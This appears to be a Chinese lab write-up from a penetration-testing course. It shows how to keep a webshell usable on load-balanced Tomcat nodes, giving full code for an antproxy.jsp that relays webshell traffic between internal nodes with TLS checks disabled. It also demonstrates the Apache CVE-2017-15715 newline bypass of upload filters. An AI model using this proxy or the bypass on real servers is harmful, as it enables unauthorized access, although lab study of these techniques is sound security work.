webshell负载均衡

nginx负载均衡

所谓负载均衡,就是 Nginx 把请求均匀的分摊给上游的应用服务器,这样即使某一个服务器宕机也不会影响请求的处理,或者当应用服务器扛不住了,可以随时进行扩容,反向代理方式其中比较流行的方式是用 nginx 来做负载均衡,以下是几种nginx 支持的几种策略

本次实验以默认的轮询方式来做演示。

配置环境

在GitHub上面下载蚁剑

https://github.com/AntSwordProject/AntSword-Labs

download zip然后上传到你的虚拟机

安装docker

curl -s https://get.docker.com/ | sh

然后安装docker-compose

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose

给docker-compose权限

chmod +x /usr/local/bin/docker-compose

查看版本号

docker-compose version

启动docker

cd /ant/loadbalance/loadbalance-jsp

docker-compose up -d

用docker ps -a查看端口号

像这样就是环境配置好了的结果

现在整体的结构图如下,Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。

进入node虚拟机内(有Nginx后标的那个node)

docker exec -it c48073869bac /bin/bash

这上面的就是这台虚拟机Nginx的配置

尝试用蚁剑添加shell

负载均衡下webshell上传的难点

难点一:需要在每一台节点的相同位置上传相同内容的webshell

我们需要在每一台节点的相同位置都上传相同内容的 WebShell一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用

难点二、无法预测下次的请求交给哪台机器去执行

我们执行 ifconfig 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,舒服得嘞~

难点三:当我们需要上传一些工具时,麻烦来了:

由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次HTTP请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法

难点四:目标机器不能出外网:

由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。

解决方案

方法一:关机/停服

关掉其中一台机器,这种方法不推荐。这种方法会极大影响业务,有可能造成公司的财产损失,不建议尝试,测试除外。

方法二:判断是否执行

我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行:

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`

echo $MYIP

这样一来,就能够保证执行的命令是在我们想要的机器上了。(也可以用蚁剑来测试,创建一个shell脚本,但是你需要在你的node上安装很多工具,我在安装过程中出现了问题就放弃这个方法了但是shell脚本如下)

MYIP=`ifconfig | grep "inet 172" | awk '{print $2}'`

if [$MYIP == "172.19.0.2" ]; then

echo "Node1. I will execute command.\n=======\n"

ifconfig

else

echo "Other. Try again."

fi

效果图就用老师课件的来展示(但是蚁剑会出现一些莫名的问题,所以测试时要注意)

方法三: 在Web 层做一次 HTTP 流量转发(重点)

没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。

我们通过Nginx直接访问node1,然后把请求发给node2,node2 上面的 /antproxy.jsp 把请求重组之后,传给了 node1 的 /ant.jsp

重新添加数据,以/antproxy.jsp为url

这个是/antproxy.jsp的代码,我在蚁剑上面创建了几十次,/antproxy.jsp才创建出来,删除数据又重新添加来来回回也十多次,所以测试的时候请耐心一点,多保存,创建几次。(这蚁剑真的有时候让人很崩溃!!!!!)

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%@ page import="javax.net.ssl.*" %>

<%@ page import="java.io.ByteArrayOutputStream" %>

<%@ page import="java.io.DataInputStream" %>

<%@ page import="java.io.InputStream" %>

<%@ page import="java.io.OutputStream" %>

<%@ page import="java.net.HttpURLConnection" %>

<%@ page import="java.net.URL" %>

<%@ page import="java.security.KeyManagementException" %>

<%@ page import="java.security.NoSuchAlgorithmException" %>

<%@ page import="java.security.cert.CertificateException" %>

<%@ page import="java.security.cert.X509Certificate" %>

<%!

public static void ignoreSsl() throws Exception {

HostnameVerifier hv = new HostnameVerifier() {

public boolean verify(String urlHostName, SSLSession session) {

return true;

}

};

trustAllHttpsCertificates();

HttpsURLConnection.setDefaultHostnameVerifier(hv);

}

private static void trustAllHttpsCertificates() throws Exception {

TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {

public X509Certificate[] getAcceptedIssuers() {

return null;

}

@Override

public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

@Override

public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {

// Not implemented

}

} };

try {

SSLContext sc = SSLContext.getInstance("TLS");

sc.init(null, trustAllCerts, new java.security.SecureRandom());

HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());

} catch (KeyManagementException e) {

e.printStackTrace();

} catch (NoSuchAlgorithmException e) {

e.printStackTrace();

}

}

%>

<%

String target = "http://172.19.0.2:8080/ant.jsp";

URL url = new URL(target);

if ("https".equalsIgnoreCase(url.getProtocol())) {

ignoreSsl();

}

HttpURLConnection conn = (HttpURLConnection)url.openConnection();

StringBuilder sb = new StringBuilder();

conn.setRequestMethod(request.getMethod());

conn.setConnectTimeout(30000);

conn.setDoOutput(true);

conn.setDoInput(true);

conn.setInstanceFollowRedirects(false);

conn.connect();

ByteArrayOutputStream baos=new ByteArrayOutputStream();

OutputStream out2 = conn.getOutputStream();

DataInputStream in=new DataInputStream(request.getInputStream());

byte[] buf = new byte[1024];

int len = 0;

while ((len = in.read(buf)) != -1) {

baos.write(buf, 0, len);

}

baos.flush();

baos.writeTo(out2);

baos.close();

InputStream inputStream = conn.getInputStream();

OutputStream out3=response.getOutputStream();

int len2 = 0;

while ((len2 = inputStream.read(buf)) != -1) {

out3.write(buf, 0, len2);

}

out3.flush();

out3.close();

%>

执行命令,查看ip

优点:

1.低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 方法一 的关服务就没啥区别了

2.流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。

3.适配更多工具

缺点:

该方案需要 Node1和 Node2 之间内网互通,如果不互通就不行。

Apache换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

cd /vulhub/httpd/CVE-2017-15715

docker-compose build

docker-compose up -d

得到如下结果,如果链接超时可能是8080端口没打开(8080没打开就按以下步骤)

systemctl start firewalld 打开防火墙

systemctl status firewalld 查看防火墙状态

firewall-cmd --zone=public --add-port=80/tcp --permanent 防火墙开启80端口

命令含义:--zone #作用域 --add-port=80/tcp #添加端口,格式为:端口/通讯协议 --permanent #永久生效,没有此参数重启后失效

firewall-cmd --reload 重启防火墙(开启后需要重启防火墙才生效)

firewall-cmd --list-ports 查看所有开启的端口

随便上传一个文件看看情况

抓包

上传一个1.php的文件,被拦截

在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截

你可能感兴趣的:(网络安全渗透,负载均衡,docker,运维)